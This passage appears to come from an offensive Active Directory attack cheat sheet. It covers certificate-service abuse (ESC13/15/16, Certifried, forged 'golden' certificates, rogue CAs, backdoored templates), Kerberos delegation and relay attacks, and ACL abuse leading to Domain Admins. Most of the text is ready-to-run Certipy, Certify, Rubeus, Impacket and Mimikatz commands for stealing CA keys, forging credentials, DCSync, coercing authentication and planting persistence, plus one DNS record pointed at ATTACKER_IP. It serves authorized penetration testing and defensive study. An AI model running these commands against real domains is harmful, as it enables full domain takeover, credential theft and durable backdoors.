Schema v1 template with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT. Attacker injects an arbitrary Application Policy into the CSR, and because Schema v1 does not validate Application Policies the CA honors them. PKINIT only evaluates EKUs, but Schannel/LDAP evaluates Application Policies - so injecting Certificate Request Agent (1.3.6.1.4.1.311.20.2.1) yields ESC3-style on-behalf-of from any v1 template.

Certify.exe request --ca ca01\CORP-CA --template WebServer \
  --upn Administrator --sid S-1-5-21-...-500 \
  --application-policy 1.3.6.1.5.5.7.3.2
Rubeus.exe asktgt /user:Administrator /certificate:<base64> /ptt
# Certipy >= 4.8.2
certipy req -u user -p pass -ca CORP-CA -target ca.corp.local \
  -template WebServer -upn [email protected] \
  -application-policies 'Client Authentication'
certipy auth -pfx administrator.pfx -dc-ip dc01

#ESC16 - Security Extension Disabled on CA

CA globally excludes szOID_NTDS_CA_SECURITY_EXT (1.3.6.1.4.1.311.25.2) from issued certs. Equivalent to an enterprise-wide ESC9. Any cert issued by the CA has no SID binding - combine with ESC6 / ESC10 / weak DC binding to impersonate any principal.

# Detection on CA (requires read on CA config)
certutil -getreg policy\DisableExtensionList
Certify.exe enum-cas --hide-admins   # flags "Disabled Extensions: 1.3.6.1.4.1.311.25.2"

# Attacker-installed backdoor (DPERSIST3 on CA)
certutil -setreg policy\DisableExtensionList +"1.3.6.1.4.1.311.25.2"
net stop certsvc && net start certsvc

Template has msDS-OIDToGroupLink pointing to a group (often a privileged one). Any cert issued from that template grants an implicit group membership encoded in the PAC at logon.

# Request a cert from the ESC13 template - your PAC will include the linked group SID
certipy req -u [email protected] -p 'pass' -dc-ip dc01 \
  -ca 'CORP-CA' -template 'ESC13Template' \
  -upn '[email protected]'

# Authenticate - the resulting TGT includes the linked group (e.g. Domain Admins)
certipy auth -pfx lowpriv.pfx -dc-ip dc01

#Certifried (CVE-2022-26923)

Pre-May-2022 machines: the default Machine template populates the cert dNSHostName directly from dNSHostName on the computer object, WITHOUT validating it against sAMAccountName. An attacker who creates a machine account (MAQ default = 10) can set dNSHostName = dc01.domain.local on their own machine, request a Machine cert, and the CA issues a cert mapped to the DC. PKINIT with that cert yields the DC machine account hash.

Requirements: Any domain user. MAQ > 0. Unpatched CA. Impact: Full domain compromise from any user.

# 1. Create a machine account
certipy account create -u [email protected] -p 'pass' -dc-ip dc01 \
  -user EVIL -pass 'P@ssw0rd!' -dns dc01.domain.local

# (Or with addcomputer.py + manual dNSHostName write via dacledit/ldeep)

# 2. Request the Machine cert as your new computer - cert SAN will say dc01
certipy req -u '[email protected]' -p 'P@ssw0rd!' -dc-ip dc01 \
  -ca CORP-CA -template Machine

# 3. Authenticate as the DC machine account
certipy auth -pfx dc01.pfx -dc-ip dc01
# -> returns NT hash for DC01$ -> DCSync
secretsdump.py -hashes :<DC01_hash> 'domain.local/DC01$@dc01' -just-dc

#Certify.exe (Windows-side)

certify.exe is the Windows-native counterpart to certipy. Useful when you are on a domain-joined workstation without Linux tooling and you want to avoid triggering Defender on suspicious PowerShell.

# Enumeration
.\Certify.exe find
.\Certify.exe find /vulnerable
.\Certify.exe find /vulnerable /currentuser
.\Certify.exe cas                        # List CAs and their ACL

# Request a cert (ESC1 style)
.\Certify.exe request /ca:DC01\CORP-CA \
  /template:VulnTemplate /altname:administrator

# Request on behalf of (ESC2/ESC3)
.\Certify.exe request /ca:DC01\CORP-CA \
  /template:User /onbehalfof:domain\administrator \
  /enrollcert:agent.pfx /enrollcertpw:pass

# Download CA cert + private key (ESC7 / ESC12)
.\Certify.exe download /ca:DC01\CORP-CA /id:1234

# Pipe to Rubeus for PKINIT
.\Rubeus.exe asktgt /user:administrator \
  /certificate:<base64 pfx> /password:<pfx_pass> /ptt

See also: Masky in Credential Harvesting - abuses ADCS from local admin to dump NT hashes of every logged-on user.

#Pass-the-Certificate

When PKINIT is not supported (no DC certificate with SmartCard EKU), use Schannel (LDAPS) authentication instead.

# --- PKINIT (standard, preferred) ---
certipy auth -pfx administrator.pfx -dc-ip dc01
# Returns: NT hash + .ccache TGT

# --- PKINITtools (alternative) ---
python3 gettgtpkinit.py -cert-pfx administrator.pfx \
  domain.local/administrator admin.ccache
export KRB5CCNAME=admin.ccache
# UnPAC the hash (recover NT hash from TGT)
python3 getnthash.py -key <AS-REP-key> domain.local/administrator

# --- Schannel / LDAPS (when PKINIT fails: KDC_ERR_PADATA_TYPE_NOSUPP) ---
certipy auth -pfx administrator.pfx -dc-ip dc01 -ldap-shell
# Or extract cert+key and use passthecert.py
openssl pkcs12 -in admin.pfx -clcerts -nokeys -out admin.crt -nodes
openssl pkcs12 -in admin.pfx -nocerts -out admin.key -nodes

# passthecert.py - add DCSync rights
python3 passthecert.py -action modify_user \
  -crt admin.crt -key admin.key \
  -domain domain.local -dc-ip dc01 \
  -target owned_user -elevate

# passthecert.py - LDAP shell
python3 passthecert.py -action ldap-shell \
  -crt admin.crt -key admin.key \
  -domain domain.local -dc-ip dc01

# passthecert.py - set RBCD
python3 passthecert.py -action write_rbcd \
  -crt dc.crt -key dc.key \
  -domain domain.local -dc-ip dc01 \
  -delegate-to 'DC01$' -delegate-from 'EVIL$'

#Shadow Credentials

Write to msDS-KeyCredentialLink on a target to add a certificate-based credential. Requires WriteProperty on the attribute.

# Certipy - auto mode (add key + auth + get NT hash)
certipy shadow auto \
  -u '[email protected]' -p 'pass' \
  -account 'targetuser' \
  -dc-ip dc01
# Output: targetuser.pfx + NT hash

# Certipy - manual add + cleanup
certipy shadow add -u '[email protected]' -p 'pass' \
  -account 'targetuser' -dc-ip dc01
certipy auth -pfx targetuser.pfx -dc-ip dc01
certipy shadow remove -u '[email protected]' -p 'pass' \
  -account 'targetuser' -device-id 'GUID' -dc-ip dc01

# pywhisker alternative
pywhisker -d domain.local -u attacker -p pass \
  --target targetuser --action add --dc-ip dc01
# Then use PKINITtools to get TGT + NT hash
python3 gettgtpkinit.py -cert-pfx targetuser.pfx \
  -pfx-pass 'generated_password' \
  domain.local/targetuser targetuser.ccache
export KRB5CCNAME=targetuser.ccache
python3 getnthash.py -key <AS-REP-key> domain.local/targetuser

# Whisker.exe - Windows-side C# equivalent of pywhisker / certipy shadow
# No Python, no Impacket - runs from a domain-joined workstation
Whisker.exe add /target:victim$ /domain:domain.local /dc:dc01
# Output: PFX base64 + password + cleanup command (Whisker.exe remove /deviceid:...)
Whisker.exe list /target:victim$ /domain:domain.local /dc:dc01
Whisker.exe remove /target:victim$ /deviceid:<GUID> /domain:domain.local /dc:dc01
# Chain into Rubeus for PKINIT
Rubeus.exe asktgt /user:victim$ /certificate:<base64_pfx> /password:<pw> /getcredentials

#Golden Certificate

Backup the CA private key, then forge certificates for any user offline. Survives password resets indefinitely.

# 1. Backup CA private key (requires ManageCA or admin on CA server)
certipy ca -backup -ca 'CORP-CA' \
  -u '[email protected]' -p 'pass' -dc-ip dc01
# Output: CORP-CA.pfx (CA cert + private key)

# 2. Forge certificate for any user (fully offline)
certipy forge -ca-pfx 'CORP-CA.pfx' \
  -upn '[email protected]' \
  -subject 'CN=Administrator,CN=Users,DC=domain,DC=local'
# Output: administrator_forged.pfx

# 3. Authenticate with forged certificate
certipy auth -pfx administrator_forged.pfx \
  -domain domain.local -dc-ip dc01

# Forge for krbtgt (ultimate persistence)
certipy forge -ca-pfx 'CORP-CA.pfx' \
  -upn '[email protected]' \
  -subject 'CN=krbtgt,CN=Users,DC=domain,DC=local'

#ADCS Structural Edges (Enterprise CA Topology)

BloodHound models the CA topology with seven structural edges. They don't give privileges on their own but they build the chain that makes GoldenCert, ESC8, and ESC11 reachable: if you can reach HostsCAService on a CA host and that CA has EnterpriseCAFor -> Domain and is in TrustedForNTAuth, compromising the host lets you forge certs valid for the whole domain.

Edge Source -> Destination Meaning
HostsCAService Computer -> EnterpriseCA This Windows host runs the CertSvc service for the CA. Admin on the host = control of the CA.
EnterpriseCAFor EnterpriseCA -> Domain This Enterprise CA issues certs for this AD domain.
RootCAFor RootCA -> ForestRoot Self-signed trust anchor of the forest PKI.
TrustedForNTAuth EnterpriseCA -> NTAuthStore The CA's certificate is in CN=NTAuthCertificates - certs issued by it are valid for domain authentication.
NTAuthStoreFor NTAuthStore -> Domain NTAuth container scope.
IssuedSignedBy SubCA -> RootCA Cert chain: this sub-CA was signed by that issuing CA.
PublishedTo CertTemplate -> EnterpriseCA Which CA(s) expose this template for enrollment.
ExtendedByPolicy CertTemplate -> IssuancePolicy Link from template to msDS-OIDToGroupLink / msPKI-Certificate-Policy (ESC13).

GoldenCert path from structural edges:

You -[AdminTo]-> Computer -[HostsCAService]-> EnterpriseCA
                                             -[TrustedForNTAuth]-> NTAuthStore
                                             -[EnterpriseCAFor]-> Domain

Compromise the CA host -> dump the CA private key -> forge certs for any principal in the domain. Because TrustedForNTAuth is the trust anchor, any forged cert validates during PKINIT.

# Enumerate the topology
certipy find -u user@domain -p pass -dc-ip dc01 -stdout
# Look for: CA Name, DNS Name (HostsCAService), Enabled (EnterpriseCAFor), Trusted For NT Auth

# Once on the CA host, dump CA key (DPERSIST1)
certipy ca -backup -ca 'CORP-CA' -u admin -p pass -dc-ip dc01
# or with admin on CA
Certify.exe manage-self --dump-certs
# Forge offline
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected]
ForgeCert.exe --CaCertPath CORP-CA.pfx --CaCertPassword Pass --Subject 'CN=Users' \
  --SubjectAltName '[email protected]' --NewCertPath admin.pfx --NewCertPassword Pw

#Account & Domain Persistence via Certificates

The AD CS persistence family. Certificates are outside of AD's credential lifecycle - password rotations, account lockouts, and Kerberos pre-auth changes do NOT invalidate an issued cert, because PKINIT does not consult the user's password hash. The KDC trusts the cert as long as the signing CA is in NTAuthCertificates and the cert is within its validity period.

#PERSIST1 - User Persistence via Certificates

Request a client-auth cert under a compromised user; keep authenticating as them after any password rotation. Useful after phishing / kerberoast where the cleartext password is ephemeral.

# Windows - Certify
Certify.exe enum-templates --filter-enabled --filter-client-auth --hide-admins
Certify.exe request --ca ca01.corp.local\CORP-CA --template User
# Save the base64 PFX + password somewhere offline
Rubeus.exe asktgt /user:<username> /certificate:<BASE64_PFX> /password:<PW> /getcredentials
# /getcredentials also returns the NT hash via UnPAC
# Linux - Certipy
certipy req -u [email protected] -p pass -ca CORP-CA -target ca.corp.local -template User
# Stash user.pfx; use later, even after password change
certipy auth -pfx user.pfx -dc-ip dc01

Default user cert validity is 1 year. Default User template: 1 year validity, 6 week renewal window. Extend with PERSIST3.

#PERSIST2 - Machine Persistence via Certificates

Same as PERSIST1 but for a compromised computer account. Once you have SYSTEM on a machine you control (or its machine password), enroll a Machine cert - it remains valid even after the machine password auto-rotates every 30 days.

# Run as SYSTEM on the machine itself
Certify.exe request --ca ca01.corp.local\CORP-CA --template Machine --machine
Rubeus.exe asktgt /user:WS01$ /certificate:<BASE64> /ptt
# Linux with known machine creds
certipy req -u '[email protected]' -hashes :<nt> -ca CORP-CA -target ca.corp.local -template Machine
certipy auth -pfx ws01.pfx -dc-ip dc01

#PERSIST3 - Certificate Renewal Window

Abuses AD CS renewal semantics. Within the template's Renewal Period (default 6 weeks before expiry), an existing cert can be renewed WITHOUT the owning account's password - the renewal request is signed by the private key you already hold. Each renewal resets the validity period. Chain continuous scheduled renewals inside the window for indefinite persistence.

# Renew the existing PFX (re-submit to the CA)
Certify.exe request-renew --ca ca01.corp.local\CORP-CA --cert-pfx <current_PFX_base64>
# Schedule in Task Scheduler to run well inside the renewal window (e.g. T-4 weeks)

OPSEC: renewal generates a new cert serial with the same subject. Defenders that only look for "cert requested for Administrator" will see the renewal as normal enrollment. Detect by correlating 4886/4887 CA events on the same subject with long validity chains.

#DPERSIST1 - GoldenCert (Stolen CA Private Key)

Extract the CA signing cert + private key from the CA host. Sign arbitrary certs offline, impersonate ANY principal in the domain, bypass all CA logs because the forged cert is never submitted to the CA. Survives krbtgt password changes, CA template hardening, and almost every AD-side remediation. The only hard mitigation is rotating the CA cert itself (and cleaning NTAuthCertificates).

# --- Obtain CA cert+key on the CA host ---
# GUI: certsrv.msc -> right-click CA -> All Tasks -> Back up CA (check Private key)
# CLI
certutil.exe -backupkey -p Password123 C:\Temp\CAbackup

# When key is marked non-exportable, go through CAPI via Mimikatz
privilege::debug
crypto::capi
crypto::cng
crypto::certificates /systemstore:LOCAL_MACHINE /store:MY /export

# Certify automated (requires admin on CA)
Certify.exe manage-self --dump-certs
# --- From a DA without local shell on CA ---
certipy ca -backup -ca 'CORP-CA' -u [email protected] -p pass -dc-ip dc01
# Output: CORP-CA.pfx

# --- Forge offline ---
# Certipy
certipy forge -ca-pfx CORP-CA.pfx -upn [email protected] \
  -subject 'CN=Administrator,CN=Users,DC=corp,DC=local'

# ForgeCert (C#)
ForgeCert.exe --CaCertPath CORP-CA.pfx --CaCertPassword Pass \
  --Subject 'CN=Users' --SubjectAltName '[email protected]' \
  --NewCertPath admin.pfx --NewCertPassword Pw

# Certify forge (Windows)
Certify.exe forge --ca-cert <CA_PFX_base64> --upn Administrator --sid S-1-5-21-...-500

# --- Use the forged cert ---
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:Pw /ptt
certipy auth -pfx administrator.pfx -dc-ip dc01

Detection: forged certs are not in the CA issued-cert database. To detect, correlate KDC PKINIT events (4768) with cert serial numbers not present in %windir%\System32\CertLog\*.edb. Rotating NTAuthCertificates / rolling the CA chain is the only full remediation.

#DPERSIST2 - Rogue CA in NTAuthCertificates

Instead of stealing the legitimate CA key, publish your own self-signed CA cert into NTAuthCertificates. Any cert signed by the rogue CA validates for PKINIT against the domain. Persistent until defenders remove the rogue entry. Requires WriteProperty on CN=NTAuthCertificates,CN=Public Key Services,CN=Services,CN=Configuration,... (ESC5 container) - typically Enterprise Admin.

# 1. Build a rogue CA locally (OpenSSL)
openssl req -x509 -newkey rsa:4096 -sha256 -days 3650 -nodes \
  -keyout rogue-ca.key -out rogue-ca.crt \
  -subj "/CN=Rogue-CA" \
  -addext "basicConstraints=critical,CA:TRUE" \
  -addext "keyUsage=critical,keyCertSign,cRLSign"

# 2. Publish into NTAuthCertificates (needs EA)
certutil.exe -dspublish -f rogue-ca.crt NTAuthCA
# And the AIA / root store for completeness
certutil.exe -dspublish -f rogue-ca.crt RootCA
# 3. Sign a client-auth cert for Administrator with the rogue CA
#   openssl ca -config rogue.cnf -in admin.csr -out admin.crt -extensions client_auth
# 4. PKINIT
Rubeus.exe asktgt /user:Administrator /certificate:admin.pfx /password:Pw /ptt

Cleanup / detection: certutil -viewstore -enterprise NTAuth and monitor AD modifications on the cACertificate attribute of CN=NTAuthCertificates. Any add triggers Security event on the DS.

#DPERSIST3 - Malicious Misconfiguration (Backdoor Templates)

Intentionally create or weaken a template to leave a permanent ESC1 / ESC13 / ESC6 backdoor. It looks like normal tech debt and blends in with legitimate misconfigurations. Survives until defenders audit templates and re-harden.

# Backdoor a new template by pushing ESC1 defaults
certipy template -u admin -p pass -template WebServerPlus -save-old
# Certipy default push enables: enrollee supplies subject, client auth EKU,
# RA signature 0, no manager approval, Domain Users enroll

# Set a hidden Issuance Policy OID group link (ESC13) to Domain Admins
# Requires GenericWrite on the IssuancePolicy AD object
# Then msDS-OIDToGroupLink -> CN=Domain Admins,...

# Set CA-wide EDITF_ATTRIBUTESUBJECTALTNAME2 (ESC6 backdoor)
certipy ca -ca CORP-CA -u admin -p pass -config EDITF_ATTRIBUTESUBJECTALTNAME2 -enable

Detection: periodic certipy find -vulnerable / Certify.exe enum-templates --filter-vulnerable audits. Alert on any new template with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT + Client Auth EKU + Domain Users in the enroll DACL.

#Delegation Abuse

#Find Delegation

# Impacket - find all delegation types
findDelegation.py domain.local/user:pass -dc-ip dc01

# NetExec - all delegation misconfigs
nxc ldap dc01 -u user -p pass --find-delegation

# PowerView
Get-DomainComputer -Unconstrained | Select-Object cn,dnshostname
Get-DomainComputer -TrustedToAuth | Select-Object cn,msds-allowedtodelegateto
Get-DomainUser -TrustedToAuth | Select-Object cn,msds-allowedtodelegateto

# LDAP - unconstrained (UAC bit 524288)
$LDAP "(userAccountControl:1.2.840.113556.1.4.803:=524288)" \
  sAMAccountName dNSHostName

# LDAP - constrained
$LDAP "(msDS-AllowedToDelegateTo=*)" \
  sAMAccountName msDS-AllowedToDelegateTo

# LDAP - RBCD
$LDAP "(msDS-AllowedToActOnBehalfOfOtherIdentity=*)" sAMAccountName

# BloodHound queries:
# MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name
# MATCH (c) WHERE c.allowedtodelegate IS NOT NULL RETURN c.name, c.allowedtodelegate

#Unconstrained Delegation

Any TGT sent to a host with unconstrained delegation is cached in LSASS. Compromise the host, then coerce a DC to authenticate and capture its TGT.

# 1. Monitor for incoming TGTs on compromised unconstrained host
.\Rubeus.exe monitor /interval:5 /nowrap /filteruser:DC01$

# 2. Coerce DC to authenticate (from Linux)
python3 SpoolSample.py dc01 compromised-host          # PrinterBug
python3 PetitPotam.py compromised-host dc01 -u user -p pass  # PetitPotam
coercer coerce -l compromised-host -t dc01 -d domain -u user -p pass

# 3. Rubeus captures DC01$ TGT -> inject
.\Rubeus.exe ptt /ticket:<base64_ticket>

# 4. DCSync with the DC machine identity
lsadump::dcsync /domain:domain.local /user:krbtgt

#Constrained Delegation (with Protocol Transition)

Service allowed to delegate to specific SPNs via msDS-AllowedToDelegateTo. With protocol transition (TrustedToAuthForDelegation), S4U2Self works without a prior user TGT.

# Impacket S4U chain - impersonate DA to allowed SPN
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  domain.local/svc_sql:pass -dc-ip dc01
export KRB5CCNAME=Administrator@[email protected]
smbclient.py -k -no-pass target.domain.local

# With NT hash
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  -hashes :NTHASH domain.local/svc_sql -dc-ip dc01

# Rubeus S4U chain (Windows)
.\Rubeus.exe s4u /user:svc_sql /rc4:<hash> \
  /impersonateuser:Administrator \
  /msdsspn:cifs/target.domain.local /ptt

# NetExec delegation abuse
nxc smb target -u 'SVC_SQL' -H '<hash>' --delegate Administrator

# Alternate service name: SPN in ticket is not in encrypted part
# If allowed to cifs/server, change to ldap/server, http/server, etc.
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  domain.local/svc_sql:pass -dc-ip dc01 -altservice ldap

#Constrained Delegation (without Protocol Transition)

Without TrustedToAuthForDelegation, S4U2Self returns a non-forwardable ticket. The service cannot directly use S4U2Proxy. The bypass is to configure RBCD from the constrained delegation account back to itself, then chain S4U2Self + RBCD.

# Scenario: svc_sql has constrained delegation to cifs/target but NO protocol transition
# svc_sql has SPN set -> can write RBCD on itself

# 1. Set RBCD from svc_sql to itself
rbcd.py -delegate-from 'svc_sql$' -delegate-to 'svc_sql$' -action write \
  domain.local/svc_sql:pass -dc-ip dc01

# 2. S4U2Self via RBCD (gets forwardable ticket as Administrator to svc_sql)
getST.py -spn cifs/svc_sql.domain.local -impersonate Administrator \
  domain.local/svc_sql:pass -dc-ip dc01

# 3. Use the forwardable ticket for S4U2Proxy to the real target
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  domain.local/svc_sql:pass -dc-ip dc01 \
  -additional-ticket Administrator@[email protected]
export KRB5CCNAME=Administrator@[email protected]
smbclient.py -k -no-pass target.domain.local

#RBCD (Resource-Based Constrained Delegation)

If you can write msDS-AllowedToActOnBehalfOfOtherIdentity on a target computer (GenericWrite/GenericAll/WriteDACL), you configure a machine you control to impersonate any user to that target.

# Full RBCD chain (from Linux)

# 1. Create a machine account (default MAQ = 10)
addcomputer.py -computer-name 'EVIL$' -computer-pass 'P@ssw0rd' \
  domain.local/user:pass -dc-ip dc01

# 2. Set RBCD - allow EVIL$ to delegate to TARGET$
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action write \
  domain.local/user:pass -dc-ip dc01

# 3. S4U2Self + S4U2Proxy - get service ticket as DA
getST.py -spn cifs/target.domain.local -impersonate Administrator \
  domain.local/'EVIL$':'P@ssw0rd' -dc-ip dc01
export KRB5CCNAME=Administrator@[email protected]
smbclient.py -k -no-pass target.domain.local

# Windows (PowerView + Rubeus)
# 1. Create machine
New-MachineAccount -MachineAccount EVIL -Password $(ConvertTo-SecureString 'P@ssw0rd' -AsPlainText -Force)
# 2. Set RBCD
$sid = Get-DomainComputer EVIL$ -Properties objectsid | Select-Object -Expand objectsid
$sd = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$sid)"
$sdBytes = New-Object byte[] ($sd.BinaryLength)
$sd.GetBinaryForm($sdBytes, 0)
Set-DomainObject TARGET$ -Set @{'msDS-AllowedToActOnBehalfOfOtherIdentity'=$sdBytes}
# 3. S4U
.\Rubeus.exe s4u /user:EVIL$ /rc4:<hash> /impersonateuser:Administrator \
  /msdsspn:cifs/target.domain.local /ptt

# RBCD via ntlmrelayx (automated - relay to LDAP)
ntlmrelayx.py -t ldaps://dc01 --delegate-access -smb2support
# Coerce target, ntlmrelayx auto-creates machine + sets RBCD

# NetExec RBCD delegation
nxc smb target -u 'EVIL$' -H '<hash>' --delegate Administrator

# Cleanup
rbcd.py -delegate-from 'EVIL$' -delegate-to 'TARGET$' -action flush \
  domain.local/user:pass -dc-ip dc01

#S4U2Self Abuse

S4U2Self lets a service request a ticket on behalf of any user to itself. Useful when you have a service account with an SPN - you can get a ticket as any user to yourself, then use it for further attacks.

# Get a service ticket as Administrator to yourself (S4U2Self only)
getST.py -self -impersonate Administrator \
  -spn cifs/compromised.domain.local \
  domain.local/svc_account:pass -dc-ip dc01

# NetExec S4U2Self
nxc smb target -u 'SVC_ACCOUNT$' -H '<hash>' --delegate Administrator --self

# PKINITtools - S4U2Self with certificate
python3 gets4uticket.py \
  kerberos+ccache://domain.local\\svc_account:svc_account.ccache@dc01 \
  cifs/[email protected] \
  administrator_cifs.ccache

#Kerberos Relay to Delegation (Coercer + krbrelayx)

Instead of relaying NTLM, relay Kerberos. When you coerce a machine into authenticating via SMB/HTTP using Kerberos to an attacker-controlled SPN, krbrelayx can unwrap the AP-REQ, forward it, and set delegation attributes (msDS-AllowedToActOnBehalfOfOtherIdentity) on the target - effectively turning Kerberos relay into an RBCD attack chain without needing NTLM anywhere.

Requirements: Control over an SPN DNS record (add via dnstool.py or authadmin), MAQ > 0 for the attacker's computer account, no LDAP signing enforcement.

# 1. Create a computer account you control
addcomputer.py -computer-name 'EVIL$' -computer-pass 'P@ssw0rd!' \
  domain.local/user:pass -dc-ip dc01

# 2. Add a DNS record so a Kerberos SPN resolves to you
python3 dnstool.py -u domain\\user -p pass -a add \
  -r evilhost.domain.local -d ATTACKER_IP dc01

# 3. Request / forge an SPN on your evilhost pointing to LDAP on the DC
python3 krbrelayx.py --krbpass \
  -aesKey <EVIL$_AES256> \
  -t ldap://dc01 \
  --delegate-access

# 4. Coerce the victim over SMB to Kerberos-authenticate to evilhost.domain.local
python3 Coercer.py coerce -l evilhost.domain.local -t victim \
  -u user -p pass -d domain.local --auth-type kerberos

# 5. krbrelayx captures the AP-REQ, sets RBCD from EVIL$ on victim,
#    then you S4U to victim as any user
getST.py -spn cifs/victim.domain.local -impersonate Administrator \
  domain.local/'EVIL$':'P@ssw0rd!' -dc-ip dc01
export KRB5CCNAME=Administrator@[email protected]
smbclient.py -k -no-pass victim.domain.local

#ACL & Permissions Abuse

#BloodHound Cypher for ACE Hunting

// All users you (OWNED) can escalate via ACL
MATCH p=shortestPath((u:User {owned:true})-[:WriteOwner|WriteDacl|GenericAll|GenericWrite|AllExtendedRights|AddMember*1..]->(t {highvalue:true})) RETURN p

// Find GenericAll on computers
MATCH (u:User)-[r:GenericAll]->(c:Computer) RETURN u.name,c.name

// WriteDACL on the domain object itself (direct DCSync path)
MATCH (u)-[:WriteDacl]->(d:Domain) RETURN u.name,d.name

// Anyone with WriteOwner on a high-value target
MATCH (u)-[:WriteOwner]->(t) WHERE t.highvalue=true RETURN u.name,t.name

#Owner Rights / Limited Rights Primitives (2025)

SpecterOps "Do You Own Your Permissions Or Do Your Permissions Own You" (2025) introduced new BloodHound edges that distinguish raw ownership from effective ownership. The distinction depends on the OWNER RIGHTS well-known SID (S-1-3-4).

How Windows evaluates owner rights:

  • If the security descriptor contains an ACE for S-1-3-4 (OWNER RIGHTS), Windows uses THOSE rights for the current owner - NOT the implicit ReadControl + WriteDacl an owner normally gets.
  • If S-1-3-4 has a Deny ACE, the owner is actively neutered.
  • If no S-1-3-4 ACE exists, the owner gets the implicit full control over the DACL.

This changes the practical outcome of taking ownership.

BH Edge Meaning Exploitable?
OwnsRaw Principal IS the registered owner, ignoring OWNER RIGHTS ACEs Path exists in graph
Owns / OwnsLimitedRights Principal is owner AND an OWNER RIGHTS ACE limits what ownership grants Only the rights in the ACE are usable
WriteOwnerRaw Principal can write the owner attribute, ignoring OWNER RIGHTS Path exists
WriteOwner / WriteOwnerLimitedRights Same but OWNER RIGHTS restricts what you get after becoming owner You may only get partial rights

Why this matters: in 2024-era hardened forests, Tier 0 admins may have placed Deny: S-1-3-4 on sensitive objects. A pre-2025 BH query MATCH p=(u)-[:Owns|WriteOwner]->(target) falsely marks these as pwnable. The *Raw edges tell you the graph-level reachability; the *LimitedRights edges tell you the practical outcome.

Checking OWNER RIGHTS ACEs:

# PowerView - look for explicit S-1-3-4 ACEs on the target
Get-DomainObjectAcl -Identity target -ResolveGUIDs | \
  Where-Object { $_.SecurityIdentifier -eq 'S-1-3-4' } | \
  Select ActiveDirectoryRights, AceType, IsInherited
# Deny ACE on S-1-3-4 = ownership chain is neutered
# Impacket dacledit (read action)
dacledit.py -action read -target target \
  domain.local/attacker:'pass' -dc-ip dc01 | grep -iE 'S-1-3-4|OWNER RIGHTS'

Exploitation tools (same as plain WriteOwner, the difference is in what you can do afterwards):

# owneredit - change owner
owneredit.py -action write -new-owner attacker -target victim \
  domain.local/attacker:'pass' -dc-ip dc01

# dacledit - grant rights (if OWNER RIGHTS doesn't deny)
dacledit.py -action write -rights FullControl \
  -principal attacker -target victim \
  domain.local/attacker:'pass' -dc-ip dc01
# PowerView
Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker
# If OWNER RIGHTS allows DACL write:
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights All
# If OWNER RIGHTS has a Deny, you still own it but you can't change the DACL -
# workaround: remove the S-1-3-4 ACE entirely (requires a separate WriteDacl primitive)

References: https://specterops.io/blog/2025/03/26/do-you-own-your-permissions-or-do-your-permissions-own-you/

#WriteOwner -> owneredit -> dacledit

Take ownership of a target, then grant yourself FullControl, then exercise it. Classic 2-step ACE chain.

# 1. Take ownership
owneredit.py -action write -new-owner 'attacker' \
  -target 'victim' domain.local/attacker:'pass' -dc-ip dc01

# 2. Grant yourself FullControl (or just DCSync on the domain head)
dacledit.py -action write -rights FullControl \
  -principal 'attacker' -target 'victim' \
  domain.local/attacker:'pass' -dc-ip dc01

# 3. Abuse the new rights (password reset, SPN add, shadow creds, etc.)

# Windows equivalent (PowerView)
Set-DomainObjectOwner -Identity victim -OwnerIdentity attacker
Add-DomainObjectAcl -TargetIdentity victim -PrincipalIdentity attacker -Rights All

#GenericAll / GenericWrite on User

Force a password reset, or add an SPN for targeted Kerberoasting.

# --- Reset password (nuclear - target user loses their password) ---
# Impacket
changepasswd.py -newpass 'Pwn3d!' domain.local/attacker:pass@dc01 -altuser victim
# net rpc (samba-tools)
net rpc password victim 'Pwn3d!' -U 'domain.local\attacker%pass' -S dc01

# --- Set SPN for targeted Kerberoast (stealthier) ---
targetedKerberoast.py -v -d domain.local -u attacker -p 'pass'
# Or manually via PowerView
Set-DomainObject -Identity victim -Set @{serviceprincipalname='fake/svc'}
GetUserSPNs.py -request-user victim -dc-ip dc01 domain.local/attacker:pass
Set-DomainObject -Identity victim -Clear serviceprincipalname

# --- AS-REP roast variant (disable preauth) ---
Set-DomainObject -Identity victim -XOR @{userAccountControl=4194304}
GetNPUsers.py domain.local/ -usersfile <(echo victim) -dc-ip dc01

#GenericAll / GenericWrite on Group

Add yourself (or a patsy) to the group.

# Impacket
net rpc group addmem "Domain Admins" attacker -U 'domain.local\attacker%pass' -S dc01

# Windows (requires being domain-joined)
net group "Domain Admins" attacker /add /domain

# PowerView
Add-DomainGroupMember -Identity "Domain Admins" -Members attacker

# ldap3 directly
python3 -c "
from ldap3 import Server, Connection, MODIFY_ADD
s = Server('dc01')
c = Connection(s, '[email protected]', 'pass', auto_bind=True)
c.modify('CN=Domain Admins,CN=Users,DC=domain,DC=local',
  {'member': [(MODIFY_ADD, ['CN=attacker,CN=Users,DC=domain,DC=local'])]})
"

# NetExec
nxc ldap dc01 -u attacker -p pass -M add-computer-to-group \
  -o GROUP='Domain Admins' ACCOUNT=attacker

#HasSession - Session to Credential Extraction

The BH HasSession edge links a User node to a Computer node when SharpHound observed the user's session on that computer (via NetSessionEnum, NetWkstaUserEnum, or sampling HKU in the registry with the RegistrySession collection method). It is the single most valuable lateral movement hint because it tells you: "this user has credentials cached on this host RIGHT NOW - compromise the host, extract, move on".

Session -> credential extraction workflow:

  1. Enumerate - BH path query: MATCH p=(c:Computer)<-[:HasSession]-(u:User) WHERE u.admincount=true RETURN p shows every box where an admin is logged in.
  2. Get admin on the box - lateral from any AdminTo edge, a local admin creds, or coerce + relay.
  3. Extract - LSASS dump, SAM+SYSTEM hive save, DPAPI master keys, Kerberos ticket cache.
  4. Reuse - the recovered cred (NT hash, cleartext, TGT, certificate) is the admin identity.
# Enumerate sessions actively (don't rely only on BH cache)
nxc smb 192.168.1.0/24 -u user -p pass --loggedon-users
# PowerView - live NetSessionEnum / NetWkstaUserEnum
Find-DomainUserLocation -UserIdentity 'domainadmin'
